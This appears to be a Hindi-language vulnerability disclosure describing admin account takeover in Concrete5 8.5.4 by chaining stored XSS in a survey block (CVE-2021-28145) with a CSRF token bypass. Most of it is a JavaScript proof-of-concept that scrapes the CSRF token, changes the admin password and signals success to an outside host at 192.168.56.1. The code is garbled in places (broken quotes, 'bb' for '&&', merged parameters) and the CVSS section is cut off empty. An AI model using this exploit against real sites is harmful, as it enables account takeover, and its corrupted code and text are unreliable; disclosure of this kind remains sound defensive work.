
Survey XSS और CSRF मिलकर Concrete5 8.5.4 में Admin Account Takeover का कारण बनता है
Concrete CMS का एक एडमिन (संस्करण 9 से नीचे) को किसी अन्य उपयोगकर्ता का पासवर्ड बदलते समय अपना पासवर्ड प्रदान करने की आवश्यकता नहीं थी।
CVE-2021-28145 के साथ संयोजन में (Concrete CMS (पूर्व में concrete5) 8.5.5 से पहले रिमोट प्रमाणित उपयोगकर्ताओं को एक क्राफ्टेड सर्वे ब्लॉक के माध्यम से XSS हमले करने की अनुमति देता है। इसके लिए कम से कम एडिटर विशेषाधिकारों की आवश्यकता होती है: फिक्स संस्करण 8.5.5 में शामिल किया गया था।) यह संभव है कि कम विशेषाधिकार प्राप्त उपयोगकर्ता, उदाहरण के लिए एक डेवलपर या सार्वजनिक उपयोगकर्ता जो सर्वे बनाने में सक्षम है, वेब एप्लिकेशन में दुर्भावनापूर्ण जावास्क्रिप्ट कोड डाल सके। सर्वे के परिणामों की समीक्षा एक एडमिन द्वारा अपने वेब इंटरफेस में Reports > Surveys के अंतर्गत की जा सकती है। वहां भी दुर्भावनापूर्ण जावास्क्रिप्ट कोड निष्पादित हो जाता है। Concrete5 में CSRF सुरक्षा है जिसे एक अनुरोध निष्पादित करने से पहले पेज से संबंधित टोकन चुराकर बहुत आसानी से बायपास किया जा सकता है। चूंकि concrete5 पासवर्ड बदलते समय पुराने पासवर्ड के लिए नहीं पूछता है, इसलिए एडमिनिस्ट्रेटर पासवर्ड को बहुत आसानी से बदलना संभव है।
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
CVSS स्कोर:
जिसके परिणामस्वरूप अंतिम स्कोर है